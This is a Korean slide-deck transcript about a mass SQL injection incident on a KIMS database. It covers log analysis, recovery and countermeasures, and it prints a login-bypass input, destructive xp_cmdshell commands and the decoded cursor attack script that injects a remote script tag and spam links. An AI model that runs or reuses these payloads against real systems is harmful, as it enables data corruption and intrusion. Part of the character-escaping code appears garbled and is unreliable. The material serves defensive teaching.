DB Injection과 대응방안 2016. 2. 19 nwkim.

Slides:



Advertisements
Similar presentations
1 SQL 정보보호학과 양 계 탁. 2 SQL 개요 SQL 개요 3 Database u 연관된 데이터들의 집합 u 데이터를 쉽게 관리하는 프로그램 종 류종 류 관계형 데이터베이스 객체지향형 데이터베이스 계층형 데이터베이스 네트워크 데이터베이스 데이터를 2 차원적인 테.
Advertisements

온누리교회 일대일 사역팀. CONTENTS 1. 예수님의 공생애 사역 2. 죄의 기원과 죄의 결과 3. 죄 문제의 해결 I. 예수님의 부활은 그리스도의 죽음과 함께 기독교 II. 인간은 하나님 앞에 모두 죄인이다. III. 따라서 나도 죄인이라는 사실을 깨달아야 한다.
LOGO 중소기업체 대상 무료 정보보안컨설팅 제안서. LOGOClick To Edit Title Style 목 차 한국 IT 전문학교 해킹 피해 사례 제안의 개요 및 목적 보안컨설팅 수행 절차 기대효과 조직도 및 연락처.
D-Guard Security Suites 제품 소개서
SQLite 소개 및 안드로이드에서의 사용법
VISUAL BASIC 양 계 탁.
DB2 Information Management DB2 UDB CLP Command Summary.
웹 프로그래밍 HTML, 자바스크립트, ASP를 중심으로
DB 프로그래밍 학기.
DB 프로그래밍 학기.
소리가 작으면 이어폰 사용 권장!.
ADO.NET 부산IT직업전문학교 성 명 건.
김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실
PL/SQL.
데이터베이스 시스템.
소프트웨어시스템설계(6주) 데이터베이스 연동
Safecode® 3.0 ㈜코드원 웹 애플리케이션 취약점 제거 및 관리 솔루션
질의어와 SQL 기본 SQL 고급 SQL 데이타의 수정 데이타 정의 언어 내장 SQL
관계 대수와 SQL.
C#에서 데이터베이스 연동 방법.
Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS
4장. 관계 대수와 SQL SQL 관계 데이터 모델에서 지원되는 두 가지 정형적인 언어
Chapter 05 SQL 인젝션 공격.
JDBC 프로그래밍 이수지 이동주 1.
델파이7 웹서비스 클라이언트 델파이7에서 C#으로 작성한 웹서비스 함수를 사용하기 위한 간략한 방법을 정리해 보았습니다.
You YoungSEok 고급 SQL You YoungSEok
SQL 개요 SQL 개요 - SQL은 현재 DBMS 시장에서 관계 DBMS가 압도적인 우위를 차지하는 데 중요한 요인의 하나
10장. 데이터베이스 보안과 권한 관리 데이터베이스 보안과 권한 관리
데이터베이스 담당교수 신정식 Chapter 4 SQL(1).
Chapter 04. 웹 보안 : 웹, 그 무한한 가능성과 함께 성장한 해킹
Chapter 01 데이터베이스 시스템.
데이터 베이스 란? 데이터 베이스 기능 데이터 베이스 관리 시스템 정보시스템의 구성 관게형 데이터 베이스
11장. 데이터베이스 서버 구축과 운영.
2007. Database Term Project Team 2 윤형석, 김희용, 최현대 우경남, 이상제
기초 T-SQL.
XML WEB SERVICE PDA WEB HARD
트랜잭션과 잠금 트랜잭션 처리 메커니즘을 자세히 이해한다. 트랜잭션의 종류를 파악한다.
구글해킹과 SQL인젝션 지창훈, 최연우.
ㅎㅎ MS-SQL서버 2000과 XML MS-SQL 서버 2000과 XML 활용 HTTP를 이용한 XML 데이터 접근
Chapter 05 데이터베이스 프로그래밍.
LogParser.
9. 데이터베이스 9.5 SQL을 사용하는 프로그램 9.6 데이터폼 작성기를 사용하는 프로그램
4.2 SQL 개요 SQL 개요 SQL은 IBM 연구소에서 1974년에 System R이라는 관계 DBMS 시제품을 연구할 때 관계 대수와 관계 해석을 기반으로, 집단 함수, 그룹화, 갱신 연산 등을 추가하여 개발된 언어 1986년에 ANSI(미국 표준 기구)에서 SQL.
ER-Win 사용 방법.
SQL Server 2000 세미나 Profiler를 이용한 문제해결
차례 튜닝 - 프로필러를 이용한 튜닝 프로필러 친해지기 프로필러 결과 테이블로 만들기 프로필러 결과 분석하기
8 데이터베이스 사용하기.
12 데이터베이스 사용하기.
DP-ORA 쿼리 최적화 가이드 쿼리 최적화 방법 2014년 7월.
2012 인터넷 응용프로그래밍 FTP, MySQL 사용 방법 및 텀 프로젝트용 서버에서 웹페이지 구동 방법 설명
ㅇ 스프링 설정파일 (dispatcher-servlet.xml)
2011년 하반기 VIP투자자문 인재채용 안내
CHAPTER 06. 데이터베이스 자료의 조직적 집합체_데이터베이스 시스템의 이해
Web Vulnerabilities 정보 보호 2008/05/31 Getroot.
SQL Query in the SSMS : DB, Table
JSP 게시판 구현.
View(뷰) 1 가상 테이블(Virtual Relation)
데이터베이스 (Database) SQL 추가 기능: 주장, 뷰, 프로그래밍 기법 문양세 강원대학교 IT대학 컴퓨터과학전공.
Database 중고차 매매 DB 비즈니스IT 윤동섭.
Time-space v1.1 설치 및 관리자모드 사용법
3장. SQL Server 2008전체 운영 실습 및 DB와 프로그램의 연동
SQL INJECTION MADE BY 김 현중.
Android -Data Base : 김성록 GyeongSang Univ. IT.
정보 INFRA 구축 RF카드를 이용한 고객관리시스템 구축 에클라트소프트.
테이블 관리 테이블 생성,수정,삭제 데이터 입력 수정, 삭제 2010학년도 2학기.
뇌를 자극하는 Windows Server 장. 데이터베이스 서버.
Stored program 2 장종원
XSS 정 여 진.
Stored program 장종원
Presentation transcript:

DB Injection과 대응방안 2016. 2. 19 nwkim

Contents DB Injection이란 SQL Injection 취약점 KIMS Database 사고 경위 질의 응답 DB Injection 이란 Injection 종류 KIMS Database 사고 경위 Database 복구 Injection 대응방안 질의 응답 참고문헌

I. DB Injection이란

I. DB Injection이란 1. DB Injection 2. DB Injection 예시 “악성 SQL문 주입공격” 또는 “Mass SQL Injection”으로 불림 홈페이지와 데이터베이스가 데이터를 주고 받을 때 적절한 입력 값 검증을 하지 않아 공격자가 주입한 SQL 명령어가 실행되는 행위를 일컫음 2. DB Injection 예시 Default.aspx string _ID = Request["ID"] ?? ""; // admin' -- string _PW = Request["PW"] ?? ""; // 1111 string query = "select * from [User] where ID ='" + _ID + "' and PW ='" + _PW + "'"; query = "select * from [User] where id ='admin'--' and pw ='1111'"; SQL Server Management Studio select * from [User] where ID = 'admin' --' and PW = '1111';

II. SQL Injection 취약점

II. SQL Injection 취약점(1/3) 1. 입력받은 값 검증 웹보안 취약점의 원인으로는 웹 어플리케이션이 전달 받아 처리하는 입력값의 검증 절차 문제가 가장 많음[1] 입력값 검증 문제의 대표적인 예로는 SQL Injection 공격과 XSS공격을 들 수 있으며, SQL Injection 취약점이 존재하는 경우에는 로그인 인증우회, 시스템 명령어 실행, 회원 개인정보와 같은 DB 자료 유출 등의 피해 발생 MS-SQL 서버의 확장 프로시저 중 “xp_cmdshell”을 이용하면 윈도우즈 OS의 내장 명령어를 사용할 수 있음[2][3] SQL Server Management Studio EXEC master..xp_cmdshell 'dir c:\' -- 목록 보기 EXEC master..xp_cmdshell 'dir c:\ > C:\test.txt' -- 목록을 파일로 저장 EXEC master..xp_cmdshell 'del c:\ /q/s' -- 삭제 [1] Web Application Security Statistics Project http://www.webappsec.org/projects/statistics/ [2] KrCERT/CC 홈페이지 > “웹보안 4종 가이드“ 중 ”홈페이지 개발 보안 가이드“ 제 3장 6절 ”악의적인 명령어 주입 공격(SQL Injection)“ 중 ”(2) MS-SQL상에서의 시스템 명령어 실행” [3] SQL Injection – xp_cmdshell http://egloos.zum.com/totoriver/v/3012348

II. SQL Injection 취약점(2/3) 2. 공격 스크립트 분석 CAST 함수를 사용하여 인코딩한 공격 형태 DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228 -- 중간생략 -- 626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 로그분석 시 난독화를 이유로 변형된 상태 dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%2 -- 중간생략 -- oSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 디코딩 결과 DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR .xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp://malcode/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

II. SQL Injection 취약점(3/3) 3. 공격 스크립트 실행 분석

III. KIMS Database 사고 경위

III. KIMS Database 사고 경위 1. Injection 발견 HealthcareData 서버에 KIMS_Custom DB는 KIMSeDIS 고객을 위해 사용되는 DB로써 월별 데이터 비교에 사용되고 있음 DreamCIS 거래처의 월단위 비교자료 생성 중 Update Flag를 가진 데이터가 30,000개가 넘어가는 현상 발견(이 때 총 약품 수는 약 6만 여개, 평소 Update Flag 2천여개 미만)

III. KIMS Database 사고 경위 2. IIS Log 분석(1/2) IIS Log는 W3C형식[1]을 사용하며, 필드는 우측과 같음 추가적으로 MS에서는 W3C Log 분석툴(Log Parser)[2]을 제공하고 있음 Log Parser 자체는 CMD 프로그램이라 GUI 버전인 Log Parser Studio[3] 또한 TechNet[4]에서 지원 중 [1] W3C Logging https://msdn.microsoft.com/ko-kr/library/windows/desktop/aa814385(v=vs.85).aspx [2] Log Parser https://www.microsoft.com/en-us/download/details.aspx?id=24659 [3] Log Parser Studio http://gallery.technet.microsoft.com/Log-Parser-Studio-cd458765 [4] TechNet https://technet.microsoft.com/ko-kr/

III. KIMS Database 사고 경위 2. IIS Log 분석(2/2) KIMSeDIS 서버에서 운영되고 있는 모든 사이트에 대하여 로그 분석 결과적으로는 KIMSeDIS 웹사이트가 공격당한 것으로 밝혀졌으며, 한 번이 아닌 9월 11일 부터 11월 17일 까지 총 72번의 공격시도가 있었음 추가적으로 KIMS POC 사이트(http://www.kimspoc.co.kr/)에서도 다수의 공격이 있었음

III. KIMS Database 사고 경위 3. Log Parser Studio 사용법(1/2)

III. KIMS Database 사고 경위 3. Log Parser Studio 사용법(2/2) SELECT logfilename, date, time, logrow, cs(referer), c-ip AS IP, cs-uri-stem AS Uri, cs-uri-query AS ErrorMsg FROM '[LOGFILEPATH]' WHERE (cs-uri-stem LIKE '%.asp%') AND (cs-uri-query LIKE '%declare%') 검색결과 : 검색된 로그파일명, 날짜, 시간, 검색된 행, referer, Client-IP, Uri, Request 검색 조건 : 호출된 주소에 “asp”를 포함하는 경우, Request에 “declare”를 포함하는 경우 항목 내용 LogFilename D:\KIMSeDIS_Log\W3SVC4\u_ex150911.log date 2015-09-11 오전 12:00:00 Time(GMT) 2000-01-01 오전 2:43:32 LogRow 446906 cs(Referer) http://google.com';declare+@b+cursor;declare+@s+varchar(8000);<생략> IP 37.252.125.234 Uri /Downloader.aspx ErrorMsg Code=EAJUSTB0DCP';declare%20@b%20cursor;declare%20@s%20varchar(8000);<생략>

IV. Database 복구방법

IV. Database 복구방법 1. 최고의 방법 데이터베이스 백업본을 사용한 복구

IV. Database 복구방법 2. 복구 전략 실제 공격쿼리 분석 SQL Server Management Studio update [''+TABLE_NAME+''] set [''+COLUMN_NAME+''] = [''+COLUMN_NAME+''] + case ABS(CHECKSUM(NewId())) % 10 when 0 then '''''' + char(60) + '' div style = "display:none" '' + char(62) + '' wife cheaters '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.survivingediscovery.com''+char(47)+''abortionpill''+char(47)+''page''+char(47)+''what-is-infidelity.aspx" '' + char(62) + '''''' + case ABS(CHECKSUM(NewId())) % 3 then '''' click '''' when 1 then '''' survivingediscovery.com '''' else '''' site '''' end + '''''' + char(60) + char(47) + '' a '' + char(62) + '' husband cheated on me '' + char(60) + char(47) + '' div '' + char(62) + '''''' else '''''''' end '' from sysindexes as i 실제 공격쿼리 분석 모든 DB, Table, Column에 대해 커서를 사용하여 반복적인 업데이트

IV. Database 복구방법 3. 복구 방법 기존 데이터에 데이터를 추가하는 형식으로 공격이 진행되었음 데이터의 손실은 없다고 가정하여 공격당해 추가된 부분만 업데이트로 제거하기로 결정 모든 업데이트문의 앞과 뒤는 char(60)으로 시작해서 char(62)로 끝남[1] <div style=“display:none” > 중략</div> 형식을 사용 공격 횟수가 많아 같은 Column에 여러 부분의 DIV가 사용된 경우가 있음 form1.cs using (DBHandle db = new DBHandle()) { ds = db.ExecuteDataSet(null, string.Format( @" select distinct {0} as data from {1} where {0} like '%display%' ", colname, tablename), CommandType.Text); } foreach (DataRow r in ds.Tables[0].Rows) string str = r["data"].ToString(); Regex rx = new Regex("<div.*div>", System.Text.RegularExpressions.RegexOptions.Multiline); foreach (Match m in rx.Matches(str)) hackList.Add(m.ToString()); [1] ASCII 코드표 참조, DEC 60은 “<“, DEC 62는 “>”

V. Injection 대응방안

V. Injection 대응방안 1. 쿼리 방식(1/2) 모든 SQL문은 SQL Server에서 실행되기에 앞서 컴파일 과정을 거침 한 번 컴파일 된 SQL은 캐쉬에 저장되어 동일한 SQL이 다시 요청될 때는 컴파일 없이 실행 분류 장점 단점 Stored Procedure 실행 계획이 캐싱되어 재사용 가능성 높음 동작 전 인자값에 대한 검사를 실행함 사용자에 대해 저장 프로시져에 대해서만 권한을 주어 테이블에 대한 직접 Access 권한을 주지 않음(Injection 방어) 네트워크 트래픽 최소화 버전관리의 어려움 Prepared Query 실행 계획이 저장 프로시져와 동일하게 동작 Injection 구문이 들어와도 해당 문자열 전체를 하나의 파라미터로 보기 때문에 SQL Injection 방지 처음 접하는 경우 거부감이 들 수 있음 Adhoc 사용이 용이함 동적 SQL 사용이 편함 매 실행 시 컴파일 과정을 거침 Injection에 매우 취약

V. Injection 대응방안 1. 쿼리 방식(2/2) form1.cs private void LoadDataSafe(string author) { string connStr = "Data Source=.;Integrated Security=SSPI;Database=Test"; using (var conn = new SqlConnection(connStr)) conn.Open(); string sql = "SELECT title FROM book WHERE author = @author"; SqlCommand cmd = new SqlCommand(sql, conn); var p1 = new SqlParameter("@author", author); cmd.Parameters.Add(p1); SqlDataReader reader = cmd.ExecuteReader(); Label1.Text = author; while (reader.Read()) ListBox1.Items.Add(reader[0].ToString()); } [1] 예제로 배우는 C# 프로그래밍 : 해커들의 백도어 SQL Injection http://www.csharpstudy.com/Mistake/Article/9

V. Injection 대응방안 2. 입력값 유효성 체크 모든 입력값은 일정한 규칙을 가지고 있음(예를 들어 Integer, float, string 등) 입력값에 절대 들어가지 말아야 할 문자열들 Declare, sys.databases, sysdatabases, sysobject, syscolumns, cursor, DB_NAME(), varchar 등 만약 저 문구들이 들어가야 하게끔 만들었다면, 개발일정을 미루어서라도 다른 방법으로 처리해야 함 예를 들어 Paging 처리를 할 때 입력받을 현재 페이지 번호는 Integer 형식으로 받거나, Integer 형식으로 변환되는지 확인작업 필요 Default.aspx public bool InjectionCheck(string mParam) { if ((mParam.ToUpper().Contains("SELECT") || mParam.ToUpper().Contains("FROM"))) return true; } else return false;

V. Injection 대응방안 3. 특수문자 치환 입력값 검증과 동시에 의미있는 부표로 사용되는 특수문자에 대해서는 표기는 정상적으로 되나 의미있게 사용되지는 않도록 문자열을 치환하도록 한다. 예를 들면 아래 함수와 같다. Default.aspx public string SpecialCharReplace(string str) { str = str.Replace("<", "&lt"); str = str.Replace(">", "&gt"); str = str.Replace("\"", """); str = str.Replace("|", "|"); str = str.Replace("$", "$"); str = str.Replace("%", "%"); str = str.Replace("'", "'"); str = str.Replace("/", "/"); str = str.Replace("(", "("); str = str.Replace(")", ")"); str = str.Replace(",", ","); return str; }

V. Injection 대응방안 사용가능 객체[1]와 권한[2]을 Database별 사용자 분리 4. 데이터베이스 권한 사용가능 객체[1]와 권한[2]을 User Role에 맞추어 적용 Database별 사용자 분리 [1] Table, View, Stored Procedure 등 [2] Select, Insert, Update, Delete, Drop 등

VI. 질의 응답